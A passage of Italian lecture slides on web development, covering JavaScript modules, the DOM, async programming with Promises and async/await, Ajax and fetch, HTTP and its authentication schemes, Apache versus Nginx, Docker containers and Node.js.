    if (delay < 0) return reject("No ritardo")
    setTimeout(() => {
      resolve(`Hai atteso ${delay} millisecondi`);
    }, delay);
  })
}
setTimeoutPromise(250).then(msg => {
  console.log(msg);
  return setTimeoutPromise(500);
}).then(msg => {
  console.log(msg);
});

Moduli

Tanto tanto tempo fa, tutto funzionava bene:

  • Pagine web essenziali (poco CSS)
  • Ogni tanto un po' di JavaScript

Ora:

  • JavaScript ovunque
  • JavaScript corposo
  • Ingestibile con un singolo file .JS (modifiche concorrenti?)
"Sarebbe bello spezzare il codice in tanti file facili da mantenere..."

Moduli

Immagino abbiate capito come si chiama la soluzione ↑

Il supporto nei browsers è discreto, se facciamo finta che IE non esista...

Due parole chiave:

  • export → esporta qualcosa dal file JS
  • import → importa qualcosa nel file JS

Moduli - Esportare

Opzione 1: in fondo al file

  • export default cosa; → esporta "cosa" come predefinito
  • export {pippo, pluto}; → esporta "pippo" e "pluto".

Opzione 2: in linea (più bello)

export default class Cosa {...}
export function pippo(){...}
export function pluto(){...}

Posso esportare solo una cosa come default per file

Moduli - Importare

Importiamo l'export di default:

import Cosa from './modulo.js';
let x = new Cosa();

Importiamo anche il resto:

import Cosa, {pippo, pluto} from './modulo.js';
let x = new X();

Alias per quanto non di default:

import {pippo as goofy} from './modulo.js';

Con l'alias posso risolvere i conflitti di nomi tra moduli diversi

To module or not to module?

Quando includiamo uno script in HTML, possiamo usare degli attributi:

  • defer → esegue dopo aver caricato il DOM
  • nomodule → lo script viene ignorato se il browser supporta i moduli (ES6) → versione per browser tardi
  • type="module" → eseguito solo se il browser supporta i moduli:
    • attiva il supporto ai moduli
    • defer implicito
    • se aggiungo l'attributo async viene eseguito subito

JavaScript

JavaScript nel contesto web

DOM

Ricordate?

Document Object Model (DOM)

Rappresentazione ad albero del documento, in memoria

Interfaccia programmatica per:

  • Accedere al tree
  • Modificare la struttura
  • Modificare lo stile
  • Modificare il contenuto
Essentially, it connects web pages to scripts or programming languages.

Interfacce DOM

  • Node: quanto serve per la rappresentazione dell'albero
  • Document: deriva da node, ma alcune proprietà non sono applicabili (es: un Document non ha attributi).
  • Browser:
    • Window: finestra (tab) del browser contenente il documento

      Attenzione: alcuni metodi sono sempre applicati alla finestra (es: window.resizeTo)

    • Navigator: informazioni sul browser
    • History: scorrere in avanti/indietro la history
    • ...

Interfacce DOM - HTML

  • HTMLDocument: estende Document, ma con HTML5 molti metodi/proprietà sono già presenti in esso.
  • HTMLElement: di tutti i tipi
    • HTMLAnchorElement
    • HTMLParagraphElement
    • HTMLFormElement
    • ecc.

Non solo HTML! C'è anche tutto il mondo dell'SVG...

Accedere agli elementi

L'oggetto document contiene il DOM:

  • document.getElementById("...") → restituisce l'elemento (HTMLElement) con l'id in argomento
  • document.getElementsByTagName("...") → gli elementi con il nome tag in argomento ("a", "span", ...); "*" li restituisce tutti
  • document.getElementsByClassName("...") → gli elementi con la classe (lista di valori separati da spazio) in argomento
  • document.querySelectorAll("...") → gli elementi che soddisfano il selector CSS in argomento
  • document.querySelector("...") → il primo elemento che soddisfa il selector CSS in argomento

Creare elementi

  • document.createElement("...") → crea un elemento del tipo richiesto
  • element.appendChild(child) → aggiunge l'elemento come ultimo children del nodo element specificato
  • .innerHTML → legge/imposta il codice HTML che scrive i descendant dell'elemento
var mainSection = document.getElementById("mainSection");
var newP = document.createElement("p");
newP.innerHTML = "questo è il <b>nuovo</b> paragrafo";
mainSection.appendChild(newP);

Stile degli elementi

  • element.style → accede all'attributo style dell'elemento → ignora gli stili ereditati/esterni
    element.style.color = "#ff3300";
    element.style.marginTop = "30px";
  • window.getComputedStyle(element) → restituisce lo stile computato per l'elemento

DOM Event Model

Ci sono diversi metodi per legarsi agli eventi:

  1. HTML Attribute
<button onclick="alert('Hello world!')">

Brutto:

  • Markup più corposo → meno leggibile
  • Contenuto/comportamente non separati → bug più difficili da trovare

DOM Event Model

Ci sono diversi metodi per legarsi agli eventi:

  1. HTML Attribute
  2. EventTarget.addEventListener (specifiche)
/* Assumiamo che myButton sia un Button*/
myButton.addEventListener('click', function(){
  alert('Hello world');
}, false);

Bello!

Attenzione: non supportato in Internet Explorer 6-8, in cui esiste EventTarget.attachEvent → conviene usare librerie per massima compatibilità

DOM Event Model

Ci sono diversi metodi per legarsi agli eventi:

  1. HTML Attribute
  2. EventTarget.addEventListener (specifiche)
  3. DOM element properties
/* Assumiamo che myButton sia un Button*/
myButton.onclick = function(event){
  alert('Hello world');
};

Attenzione: un solo handler per elemento e per evento.

Propagazione eventi

Ci sono tre fasi:

  1. Capture: l'evento si propaga dall'evento più ancestrale (Window) a quello più dettagliato (es: td)
  2. Target: l'evento arriva a destinazione, ed in base al tipo di evento si ferma o prosegue con il bubble
  3. Bubble: l'evento si propaga a ritroso nell'albero

Bloccare manualmente la propagazione bubble:

ev.stopPropagation();

Attenzione, non interrompe l'esecuzione della funzione.

Esercizio JS-Anagrammi

Scrivere un documento HTML con una casella di input e un bottone: quando l'utente clicca sul bottone, la pagina mostra un elenco con le prime 20 permutazioni della parola scritta nella casella

Spunti:

  • casella di input → input
  • "quando l'utente" → evento

Asynchronous JavaScript

JavaScript

JavaScript is a single-threaded, non-blocking, asynchronous, concurrent programming language with lots of flexibility

  • Single-thread?
  • Asynchronous?

Synchronous JavaScript Execution Stack

JavaScript mantiene uno stack in memoria chiamato function execution stack che tiene traccia della funzione in esecuzione

  • Quando una funzione viene invocata, viene aggiunta al function execution stack
  • Se la funzione invoca un'altra funzione, quest'ultima viene aggiunta allo stack ed eseguita
  • Quando una funzione termina viene rimossa dallo stack e il controllo passa alla funzione precedente
  • Si continua così finchè non ci sono più funzioni nello stack

Function Execution Stack: esempio

function f1(){
  ...
}
function f2(){
  ...
}
function f3(){
  ...
}
f1();
f2();
f3();
f1()f2()f3()

Function Execution Stack

Function Execution Stack: esempio

function f1(){
  ...
}
function f2(){
  f1();
}
function f3(){
  f2();
}
f3();
f1()
f2()
f3()

Function Execution Stack

Asynchronous JavaScript

Alcune funzioni possono terminare "più tardi": posso avere una funzione con un ritardo impostato, oppure il risultato dipende da qualcun altro (dati da un server, query a database, ...).

In queste circostanze non voglio bloccare l'esecuzione del codice, ma continuare con le altre funzioni.

Ci sono due tipi principali di operazioni che vengono eseguite in modo asincrono (non bloccanti):

  • Browser API/Web API: eventi sul DOM come click, scroll e simili e metodi come setTimeout()
  • Promise: oggetti che permettono di eseguire operazioni asincrone

Browser API/Web API

function stampami() { /* callback */
  console.log('stampa me');
}

function test() {
  console.log('test');
}

setTimeout(stampami, 2000);
test();

In che ordine vengono stampate le due frasi?

  • Vengono attesi 2 secondi e poi esegue stampami() e quindi test()?
  • Oppure viene eseguita test() e sopo 2 secondi stampami()?

Browser API/Web API

JavaScript ha una coda dedicata per le callback (Callback Queue)

Viene creato un ciclo che periodicamente controlla la coda e sposta le callback nello stack (Event Loop):

  • Le funzioni nello stack vengono eseguite normalmente
  • Se viene invocata una API del browser, si aggiunge una callback nella coda (macrotask)
  • Se lo stack è vuoto, viene spostata la callback dalla coda allo stack
  • Ricominica da capo

Browser API/Web API: esempio

function f1() {
    console.log('f1');
}

function f2() {
    console.log('f2');
}

function main() {
    console.log('main');
    setTimeout(f1, 0);
    f2();
}
main();
console.log('f2')
f2() setTimeout() console.log('main') console.log('f1')
main() f1()

Function Execution Stack

API => f1()

Browser API

f1()

Callback Queue

Promise

  • Le Promise sono oggetti che permettono di eseguire codice asincrono
  • Per gestire le Promise viene usata una coda separata (Job Queue)
  • Una funzione nella Job Queue si chiama microtask
  • Se ci sono elementi sia nella Callback Queue che nella Job Queue, l'Event Loop esegue prima quelli nella Job Queue (microtask)

Promise: esempio

function f1() {
  console.log('f1');
}

function f2() {
  console.log('f2');
}

function main() {
  console.log('main');
  setTimeout(f1, 0);
  new Promise((resolve, reject) =>
      resolve('promise')
  ).then(resolve => console.log(resolve))
  f2();
}

main();
console.log('f2')
f2() setTimeout() console.log('main') console.log('f1') console.log('promise')
main() f1() anonymous

Function Execution Stack

API => f1()

Browser API

f1()

Callback Queue

anonymous

Job Queue

async functions

Con ECMAScript 2017 è stato aggiunto il supporto per scrivere funzioni asincrone, un altro modo per gestire le Promise.

Una funzione asincrona è una funzione che:

  • È stata dichiarata con la parola chiave async
  • Permette l'uso della parola chiave await al suo interno
  • Restituisce una Promise
async function hello() { return "Ciao!" };
hello(); /* ritorna una Promise */

async functions

Si può scrivere in forma più elegante

let hello = async function() { return "Ciao!" };

Oppure con una arrow function

let hello = async () => "Ciao!";

async functions

Per consumare la Promise posso usare then()

hello().then((value) => console.log(value));

Oppure la forma abbreviata

hello().then(console.log);

await

I vantaggi delle funzione asincrone si vedono quando combinate con la parola chiave await:

  • può essere messa davanti ad una Promise
  • può essere messa davanti ad una funzione asincrona
  • può essere usata soltanto dentro una funzione asincrona
  • mette in pausa il codice finchè la Promise non viene valorizzata, quindi restituisce il suo valore di ritorno
async function hello() {
  return await Promise.resolve("Hello");
};

hello().then(console.log);

Esempio di funzione asincrona

function dopo2sec() {
  return new Promise(resolve => {
    setTimeout(() => {
      resolve('Fatto!');
    }, 2000);
  });
}

async function asincrona() {
  console.log('Eseguo e aspetto');
  const result = await dopo2sec();
  console.log(result);
}
asincrona();

Concatenare

function setTimeoutPromise(delay) {
  return new Promise((resolve, reject) => {
    if (delay < 0) return reject("No ritardo")
    setTimeout(() => {
      resolve(`Hai atteso ${delay} millisecondi`);
    }, delay);
  })
}

asincrona();

async function asincrona() {
  const msg1 = await setTimeoutPromise(250)
  console.log(msg1)
  const msg2 = await setTimeoutPromise(500)
  console.log(msg2)
}

Gestione errori

Con le promise:

setTimeoutPromise(-10).then(msg => {
  console.log(msg);
}).catch(error => {
  console.error(error)
}).finally(() => {
  console.log("Esegui comunque!");
});

Con codice asincrono:

asincrona();
async function asincrona() {
  try {
    const msg = await setTimeoutPromise(-10);
    console.log(msg);
  } catch (error) {
    console.error(error);
  } finally {
    console.log("Esegui comunque!");
  }
}

JavaScript

Ajax

Web classico

Quando si inserisce un URL nel browser:

  • il computer risolve l'indirizzo IP usando il DNS
  • il browser si connette a quell'IP e richiede il file specificato
  • il web server (es: Apache) accede al file system e restituisce il contenuto

Alcuni URL invocano programmi eseguiti dal web server, inviando dei parametri:

http://www.sailing.org/16937.php?meetid=82
  • Server: www.sailing.org
  • Programma: 16937.php
  • Parametri: meetid=82

Web classico

Diagramma di sequenza applicazione web senza Ajax
Diagramma di sequenza di un applicazione web senza Ajax (fonte)

Web classico

Cambiare i dati === ricaricare la pagina

  • ogni richiesta blocca l'interfaccia grafica fino al termine
  • devo ritrasmettere sempre tutto
  • user experience scomoda: perdo il riferimento visivo
  • validazione spesso solo all'invio (es: username già esistente)

Ma noi vogliamo fare Web Applications, cioè un sito internet che sia molto simile nell'uso ad un'applicazione desktop.

Web interattivo

Diagramma di sequenza applicazione web senza Ajax
Diagramma di sequenza di un applicazione web con Ajax (fonte)

Ajax

Ajax

Asynchronous JavaScript + XML: un modo di utilizzare JavaScript per arricchire un documento HTML con nuove informazioni (senza riscaricarlo)

Ajax: è la chiave dell'interattività delle applicazioni Web!

  • Asynchronous
  • JavaScript
  • XML → le nuove informazioni hanno questo formato

In pratica: Ajax = utilizzare l'oggetto JavaScript XMLHttpRequest

Ajax in pratica: XMLHttpRequest

The XMLHttpRequest specification defines an API that provides scripted client functionality for transferring data between a client and a server

Non è un linguaggio di programmazione, ma un modo di usare JavaScript.

Specifica disponibile su http://www.w3.org/TR/XMLHttpRequest, documentazione su w3schools

ad oggi, specifica ≠ implementazioni

Ajax in pratica: XMLHttpRequest

  1. preparare l'oggetto
  2. inviare la richiesta
  3. quando arriva la risposta, utilizzarla

"Utilizzarla" ≈ leggerla e aggiornare il DOM con le nuove informazioni

Preparare e inviare

var xhr = new XMLHttpRequest();
xhr.onreadystatechange = myFunction;
xhr.open("GET", url, true);
xhr.send(null);

Bisogna dire all'oggetto XMLHttpRequest:

  • url → chi contattare
  • myFunction → cosa fare quando riceve la risposta
  • il parametro booleano nell'open specifica che la richiesta è asincrona

Leggere la risposta

"Quando arriva la risposta"...

  • xhr.onreadystatechangehandler, funzione invocata ad ogni cambio di stato
  • xhr.readyStatestato dell'interazione (tra oggetto e server):
    • 0 → oggetto appena costruito (dopo new ...)
    • 1 → pronto (dopo open())
    • 2 → headers risposta ricevuti (dopo send())
    • 3 → loading (si sta scaricando il payload della risposta)
    • 4 → risposta ricevuta (o errore)

    Di solito ci interessa solo il 4.

Leggere la risposta

Quando è disponibile (readyState == 4) e non ci sono stati errori, la risposta si trova in:

  • xhr.responseText → corpo della risposta, come stringa
  • xhr.responseXML → corpo della risposta, come oggetto di tipo Document, solo se:
    • il corpo della risposta HTTP era un documento xml valido
    • il MIME type ricevuto è null o di tipo xml (text/xml, application/xml, ...)

Quale usare? Dipende!

Leggere la risposta come testo

xhr.onreadystatechange = function() {
  var text;
  if (xhr.readyState == 4) {
    if (xhr.status == 200) {
      text = xhr.responseText;
      /* usare text nel DOM */
    } else {
      /* gestire l'errore; */
    }
  }
};

Leggere la risposta come testo

Alcune opzioni:

  • il server restituisce solo testo, o un frammento di HTML:
    document.getElementById("toRewrite").innerHTML = xhr.responseText;
  • il server restituisce testo formattato (es: uno,due,tre):
    var listEl = document.getElementById("list");
    var pieces = xhr.responseText.split(",");
    var i, newLi;
    for (i = 0; i<pieces.length; i++) {
      newLi = document.createElement("li");
      newLi.innerHTML = pieces[i];
      listEl.appendChild(newLi);
    }

Leggere la risposta: XML

<?xml version="1.0" encoding="UTF-8"?>
<animals>
  <animal type="dog">
    <name>Simba</name>
    <color>white</color>
  </animal>
  <animal type="dog">
    <name>Gass</name>
    <color>brown</color>
  </animal>
</animals>

succinta introduzione su XML su w3schools

Leggere la risposta: XML

var xmlDoc = xhr.responseXML;
var animals = xmlDoc.getElementsByTagName("animal");
var i, name, nameEl;
for (var i = 0; i < animals.length; i++) {
  var nameEl = animals[i].getElementsByTagName("name")[0];
  var name = nameEl.childNodes[0].nodeValue;
  ...
}

Nota: è possibile convertire l'XML in un oggetto.

Leggere la risposta: JSON

Ma dobbiamo usare sempre XML per comunicare? NO!

JavaScript Object Notation

Standard di trasmissione dei dati in un formato leggibile, formato da coppie attributo-valore ed elenchi ordinati di valori.

Deriva dall'Object Literal di JavaScript:

{ "employees": [
    {"firstName":"Mick","lastName":"Jagger" },
    {"firstName":"Ronnie","lastName":"Wood"},
    {"firstName":"Keith","lastName":"Richards"},
    {"firstName":"Charlie","lastName":"Watts"} ]
}
  • più compatto
  • più facile da manipolare in JavaScript

Leggere la risposta: JSON

Si occupa di tutto JSON.parse():

xhr.onreadystatechange = function() {
  var obj;
  if (xhr.readyState == 4) {
    if (xhr.status == 200) {
      obj = JSON.parse(xhr.responseText);
      /*usare obj nel DOM*/
    } else {
      /*gestire l'errore;*/
    }
  }
};

Same origin policy

Same origin policy

Restrizione che impedisce ad uno script di comunicare con server diversi da quello da cui origina il documento che lo ospita

Lo script su www.trieste.it/index.html non può fare xhr.open("GET", "http://udine.it", true)

Esercizio JS-Ajax

Creare (almeno) 3 file (JSON o XML o testo) ognuno con la scheda di un animale. La scheda contiene almeno 3 attributi (ad esempio: nome, colore, ...).

Creare un documento HTML con una casella di testo. Quando l'utente scrive il nome dell'animale il documento si aggiorna con una tabella con i dati dell'animale cercato, se disponibile.

in Chrome, c'è una restrizione che impedisce di caricare documenti col protocollo "file:///"

quando si caricano documenti col protocollo "file:///" su FireFox, i valori di xhr.status non sono quelli classici di HTTP

Usate i web server embedded in VSCode o Atom

fetch()

L'uso di XMLHttpRequest è scomodo:

  • pensato nel 2006, vecchie versioni di JavaScript
  • è codice asincrono: potrebbe eusare Promise o async
  • → funzione fetch introdotta di recente

fetch(): esempio

Ispirato alla funzione ajax() di JQuery, ma:

  • la promise non è rigettata se c'è uno status HTTP di errore
  • di default non manda cookie ad altri url
  • usa gli oggetti Response e Request
fetch('url')
  .then(response => response.json())
  .then(data => console.log(data));

fetch(): esempio

async function postData(url = '', data = {}) {
  const response = await fetch(url, {
    method: 'POST',
    headers: {
      'Content-Type': 'application/json'
    },
    body: JSON.stringify(data) 
  });
  return response.json(); 
}

postData('https://esempio', { dati: 'xxx' })
  .then(data => {
    console.log(data); 
  });

Web Server (1)

HTTP: cenni

Hyper Text Transfer Protocol - RFC 2616

  • Trasmissione di informazioni sul WEB
    • Non necessariamente via TCP
  • Richiesta/Risposta
  • Connessiona chiusa il prima possibile
    • Con HTTP/1.1 (1999): una connessione per più richieste
    • Pro: riduco connessioni attive
    • Contro: implicitamente stateless

HTTP: Request

Tre sezioni per request:

  1. Request line
    • Metodo
    • URI
    • Versione del protocollo
  2. Header: opzionale?
    • Obbligatorio con HTTP/1.1: HOST
    • Fine header: <CR><LF>
  3. Body
    • Non tutte le request lo richiedono
GET /index.html HTTP/1.1
Host: www.esempio.it
<CR><LF>

HTTP: Request Header

Coppia chiave-valore, una per riga

  • Accept: content-type accettabili nella risposta
    • Inoltre: accept-language, accept-encoding (compressione), accept-charset, ...
  • User-agent: programma che effettua la richiesta
  • Host: nome DNS del server che sto contattando
  • Cookies
  • Authorization
  • Gestione connessione
  • Gestione cache, proxy, ...

HTTP: Autenticazione

Gestita nei Request Headers

Basic:

  1. Richiedo la pagina
  2. Risposta: non autorizzato + info per autenticazione Realm = "Credenziali Esse3"
  3. Il browser chiede all’utente le credenziali
  4. Richiedo di nuovo la pagina, inserendo nell’header username:password
    Authorization: Basic QWxhZGRpbjpvcGVuIHNlc2FtZQ==

Attenzione:

  • BASE64 encoding → plain text!!
  • Meglio usarla solo con HTTPS

HTTP: Autenticazione

Gestita nei Request Headers

Digest (RFC-2617):

  1. Richiedo la pagina
  2. Risposta: non autorizzato + info per autenticazione
    WWW-Authenticate: Digest realm="testrealm@host.com", nonce="dcd98b7102dd2f0e8b11d0f600bfb0c093"
  3. Il browser chiede all’utente le credenziali
  4. Richiedo di nuovo la pagina, inserendo nell’header
    Authorization: Digest username="Mufasa", ..., MD5(MD5(username:realm:password):nonce)

HTTP: Logout

Il browser memorizza le credenziali per non chiederle ogni volta: come mi scollego?

Non previsto!

  • ... potrei inviare credenziali volutamente sbagliate (non tutti i browser)
  • ... funzione logout() in JavaScript (non supportata)

In sintesi: si pone il problema del logout ⇛ usare un sistema di autenticazione session-based

HTTP: Request Method

  • GET:
    • richiede la rappresentazione di una risorsa
    • non modifica il contenuto
    • body vuoto
  • HEAD:
    • identico al GET, ma non ritorna il response body (es: cache)
  • POST:
    • aggiunge dati ad una entità esistente → identificata dall’URI
    • crea una risorsa non ancora identificata → se ne occupa l’URI richiamata
    • l’entità da aggiungere è contenuta nel body
  • PUT:
    • salva l’entità contenuta nel body nell’URI specificato
    • se esiste già: la sovrascrive ○ altrimenti: ne viene creata una nuova
  • PATCH:
    • modifica parziale di una risorsa (RFC-5789)
  • DELETE:
    • rimuovere l’entità identificata

HTTP: Response

Tre sezioni per request:

  1. Status line
    • 1xx Informational
    • 2xx Successful
    • 3xx Redirection
    • 4xx Client error
    • 5xx Server error
  2. Header
    • Server: tipo e versione
    • Content-Type
    • Set-Cookie
    • ..., gestione cache, ETag, ecc.
  3. Body

HTTP: Response

HTTP/1.0 200 OK
Date: Mon, 28 Jun 2004 10:47:31 GMT
Server: Apache/1.3.29 (Unix) PHP/4.3.4
X-Powered-By: PHP/4.3.4
Vary: Accept-Encoding,Cookie
Cache-Control: private, s-maxage=0,
max-age=0, must-revalidate
Content-Language: it
Content-Type: text/html; charset=utf-8
Age: 7673
X-Cache: HIT from wikipedia.org
Connection: close

Web Server

Applicazione che gestisce le richieste di trasferimento di pagine web tramite il protocollo HTTP o HTTPS

  • Apache
  • MS ISS
  • nginix
  • LiteSpeed

Apache

  • Creato nel 1995
  • Nella Apache Foundation dal 1999 (primo software)
  • Infiniti tutorial
  • Manuale di oltre 500 pagine
  • Espandibile con moduli
  • File di configurazione
  • Installazione tipica LAMP:
    • Linux
    • Apache
    • MySQL
    • PHP

Apache: gestione concorrenza

Multi-Processing Modules: quando è nato Apache, non esistevano le connessioni HTTP keep-alive

  • Process (pre-fork):
    • Processi single-thread, uno per request
    • Molto veloce
    • Consuma molta RAM
    • Unica soluzione in certi casi (es: il modulo PHP non è thread safe)
  • Worker:
    • Un processo controllore, che istanzia altri processi
    • Ogni child-process può gestire più thread, un thread per request
    • Problema: ho un solo controllore...
  • Event:
    • Simile al worker, ma ottimizzato per le connessioni keep-alive
    • Thread dedicati per gestire le richieste keep-alive inattive
    • Default da Apache 2.4

Nginix

  • Creato nel 2004
  • Scopo: risolvere il problema C10K
  • Architettura asincrona event driven
    • Worker processes (di solito, uno per CPU core)
    • Il worker gestisce N socket
    • Ogni socket può essere in Listen (attendo qualcuno) o Connection (sono connesso a qualcuno)
    • Gli eventi accadono sui socket ed il worker li gestisce:
      • Se Listen socket: nuova connessione → diventa Connection
      • Se Connection socket: il client ha inviato una richiesta → la gestisco e poi processo gli eventi successivi
    • Se il client invia una successiva richiesta sulla stessa connessione:
      • È un nuovo evento
      • Il worker non deve quindi restare ad aspettare che quel singolo client abbia finito tutte le sue richieste

Contenuti Statici e Dinamici

Apache

  • Contenuti Statici: file-based
  • Contenuti Dinamici:
    • moduli aggiuntivi, attivabili facilmente (riavvio del processo server)
    • in ogni worker incorpora il language-processor richiesto
    • tutto autoconfigurato

Nginix

  • Contenuti Statici: tutto ok
  • Contenuti Dinamici:
    • non gestiti
    • inoltra ad un proceso esterno, attende risposta e la inoltra
    • non serve sempre interprete: minore overhead

Configurazione

Apache

  • Centralizzata (file di testo)
  • Distribuita (.htaccess)
    • Per ogni richiesta, controlla tutto il path per i file .htaccess e applica le direttive
    • Vantaggio:
      • posso cambiare la configurazione senza riavviare il server
      • alcuni utenti possono configurarsi da soli parte del server
      • Svantaggio: prestazioni

Nginix

  • Centralizzata:
    • Molto più efficiente
    • Più sicuro

Configurazione

Apache

  • Nasce come web server → richieste al file system
  • Prende la document root, ci aggiunge la request e la cerca nel file system
  • Possibile fare altrimenti (Alias, Location)

Nginix

  • Non solo web server, ma anche proxy
  • Traduce nel file system solo se necessario
  • Controlla il filesystem solo quando è pronto a fornire la risposta

Moduli

Apache

  • Attivabili/disattivabili dinamicamente
  • Nucleo di Apache sempre presente
  • Varie funzioni:
    • Scripting (PHP, CGI, etc)
    • URL Rewriting
    • Autenticazione
    • Caching
    • Compressione
    • Proxy
    • ...

Nginix

  • Vanno compilati nel core
  • Non utilizzabile il packaging dei distributori di software

DevOps

(in a nutshell)

Insieme di pratiche che combiinano lo sviluppo del software (dev) e la gestione delle operazioni di IT (ops)

Sviluppo software

  • Software fa inserirto in un contesto:
    • Eseguito in un certo SO
    • Funziona con determinate librerie
    • Potrebbe richiedere un certo framework
  • Deve convivere con altri software
  • Problema: incompatibilità

Container

  • I container permettono di spostare software da un sistema ad un altro
  • Tecnologia abbastanza vecchia, ma alla ribalta dal 2013
  • Aiutano lo sviluppatore a costruire applicazioni rapidamente
  • Crea un ambiente dedicato, facilmente trasportabile

Container

  • Ambiente di esecuzione autonomo contentente tutto il contesto necessario
  • Pacchetto con:
    • software
    • tutte le dipendenze
    • librerie
    • altri eseguibili
    • configurazione
  • Formato standard: App Container Image (ACI) o Open Container Initiative (OCI)

Container vs Virtual Machine

  • VM: contiente sia il software che il SO
  • VM: serve un server (hypervisor), che gira su un SO
  • Container: c'è un solo sistema operativo
  • Container: ogni container ha il suo mount point, ma le risorse sono condivise

Tipi di Container

  • Docker: software che semplifica creazione e gestione dei container
  • Podman: come Docker, sviluppato da RedHat, compatibile con Docker

Esecuzione di Container

Per eseguire un container servono due cose: un'immagine e un Container RunTime

Un Container RunTime è un software che esegue e gestisce le componenti di un container

runC è un RunTime molto usato (altro: gvisor o kata)

Il container viene eseguito come un processo

Esecuzione di Container

Il container viene eseguito come un processo

  • Sfrutta i servizi del kernel ospite
  • Requisiti di isolamenti e sicurezza: gestiti dal kernel
    • Control Groups
    • Namespaces

Control Groups

  • Usati dal kernel per gestire uso di risorse dai processi
  • Organizzati in modo gerarchico:
    • gestiti come filesystem virtuale (/sys/)
  • Usato per limitare risorse utilizzabili da un container

Control Groups

Limitare la memoria utilizzabile dal processo con PID 1102 a 50MB (52428800 bytes)

$ mkdir /sys/fs/cgroup/memory/gruppo
$ echo 52428800 > /sys/fs/cgroup/memory/gruppo/memory.limit_in_bytes
$ echo 1102 > /sys/fs/cgroup/memory/gruppo/cgroup.procs

Namespaces

  • Usati dal kernel per isolare i processi
  • Se un processo è inserito in un namespace, accede solo alle risorse nel namespace
  • Ogni container avrà i suoi namespace

Immagine

I container si basano su delle immagini

  • Una immagine è una descrizione di un container
  • Docker usa una immagine per eseguire un container
  • Ci possono essere più versioni della stessa immagine: repository
  • Ogni versione è identificata con un tag
    • latest: tag di defaul per la versione più recente

Union filesystem

  • Le immagini sono stratificate in una pila di layer
    • Ogni layer è di per se una immagine
    • I layer non hanno un tag associato
  • I layer sono immutabili
  • Più immagini possono codividere lo stesso layer
  • Ultimo layer della pila è il layer container ed è modificabile

Gestione Container

  • docker ps: elenco dei container
  • docker ps -a: elenco di tutti i container, anche non attivi
  • docker run --name con_name: esegue in container con nome con_name
  • docker run -d con_name: esegue in modalità detached (background)
  • docker run -it con_name: modalità interattiva
  • docker rm id: rimuove il container con un certo id
  • docker start id: esegue il container spento con id id
  • docker attach id: si collega al container con id id
  • docker stop id: spegne il container con id id

Filesystem

Il filesystem di ogni container è completamente isolato

  • Non posso vedere il filesystem da altri container o dall'host
  • data volume: ponte tra FS del container e FS dell'host
  • mappa un FS locale in uno del container

docker run -v /home/andrea:/home/container con_name

Networking

La rete di ogni container è completamente isolata

  • Posso mappare una porta tra il container e l'host
  • Attenzione: su windows gira come VM, cambia l'ip!

docker run -p 8088:80 con_name

Configurazione Docker

  • Immagine deve essere descritta tramite un file:
    • Dockerfile
    • docker-compose
  • Crea il container che verrà puoi eseguito

Dockerfile

Script che contine le operazioni da fare per inizializzare il container

FROM ubuntu 
RUN apt update 
RUN apt install –y apache2 
RUN apt install –y apache2-utils 
RUN apt clean 
EXPOSE 80
CMD [“apache2ctl”, “-D”, “FOREGROUND”]

Dockerfile

  • FROM: immagine di base da cui partire
  • ENV chiave=valore: imposta variabili di ambiente
  • RUN: esegue dei comandi all'interno dell'immagine (crea un nuovo layer)
  • ADD: aggiunge un file (anche remoto) all'immagine
  • COPY: come ADD, ma non da remoto e più veloce
  • ENTRYPOINT: esegue una istruzione appena il container è avviato, non crea layer
  • WORKDIR: working directory del container
  • EXPOSE: porte su cui sarà in ascolto il contaneri (non aperte di default)
  • VOLUME: path nel container dove mappare un volume (da fare a runtime)

Build

Per creare un'immagine da un Dockerfile, va fatto il build

  • docker build -t TAG build_context
  • il build context definisce il path in cui trovare il Dockerfile e da cui fare gli eventuali COPY/ADD

Esempio

Dockerfile:

FROM httpd:2.4
EXPOSE 80
COPY ./src/ /usr/local/apache2/htdocs/

docker build -t our_server:1.0 .

docker run -d -P our_server:1.0

Docker-compose

Tool di configurazione che permette di comporre un container

version: '3.9'
services:
  apache:
    image: httpd:latest
    container_name: my-apache-app
    ports:
    - '8080:80'
    volumes:
    - ./website:/usr/local/apache2/htdocs

Programmazione lato server

Web server

Web server

Programma che consegna documenti web su richiesta

Caso semplice:

  1. utente digita l'url del documento (http://www.units.it/risultati-esami.html)
  2. browser→web server: «caro web server, dammi il documento "risultati-esami.html"» (GET /risultati-esami.html HTTP/1.1)
  3. il web server cerca il documento sul disco
  4. web server→browser: «ecco il documento HTML»

qualcuno aveva messo su disco il documento

Web server

(Esempio di) caso normale:

  1. utente vuole comprare l'oggetto X
  2. browser→web server: richiesta complessa (contiene un qualche riferimento a X)
  3. il web server esegue un programma
    1. X è a magazzino?
    2. calcola il prezzo di X per l'utente
    3. ...
    4. "crea" documento HTML con descrizione risultato operazione
  4. web server→browser: «ecco il documento HTML»

Web server: altro punto di vista

Il web server è un programma che riceve richieste secondo il protocollo HTTP

Quando riceve la richiesta, esegue operazioni, alcune per produrre il documento HTML:

  • trovare il documento sul disco
  • generare il documento
  • generare il documento e dialogare con altri programmi/calcolatori
  • ...

Programma per generare il documento

Cosa deve fare il programma nel "generare il documento"? Dipende:

  • "compro X" → documento "hai comprato X"
  • "mi iscrivo all'esame E" → documento "iscrizione effettuata"
  • "quanto vale l'azione a" → documento "scheda azione a"
  • ...

bisogna riscrivere un web server per ogni situazione? No!

server-side scripting/programming

Web server-side scripting/programming

  • Il web server è modulare/programmabile
  • Il programmatore:
    • gli fornisce i moduli (programmi)
    • gli dice "per le richieste di tipo X usa il modulo Y"
  • I programmi moduli:
    • eseguono in un contesto
    • devono usare/implementare una certa interfaccia
  • Il server modulare/programmabile fa il resto:
    • gestisce le connessioni
    • prepara il contesto
    • eventualmente "sveglia/addormenta" i moduli
    • multithreading, sessioni, ...

Web server modulare/programmabile: opzioni

Ce ne sono tante:

  • PHP
  • ASP
  • Java
  • ...

Noi vedremo una soluzione basata su Node.js

Node.js

Node.js

  • Ambiente server open-source e free
  • Multipiattaforma: (Windows, Linux, Unix, Mac OS X, ...)
  • Usa JavaScript lato server
  • Si basa su programmazione asincrona

Documenti web dinamici

Lettura di un file dato un input

Richiesta gestita da un linguaggio classico (PHP, Java, ASP, ...):

  1. Riceve la request ed estrae il parametro di input
  2. Invia il task al file system
  3. Attende che il file system apra e legga il file
  4. Invia la risposta al client
  5. Pronto per gestire la prossima richiesta

Documenti web dinamici

Lettura di un file dato un input

Richiesta gestita da Node.js:

  1. Riceve la request ed estrae il parametro di input
  2. Invia il task al file system
  3. Pronto per gestire la prossima richiesta
  4. Quando il file system ha letto il file invia la risposta al client

Node.js è asincrono

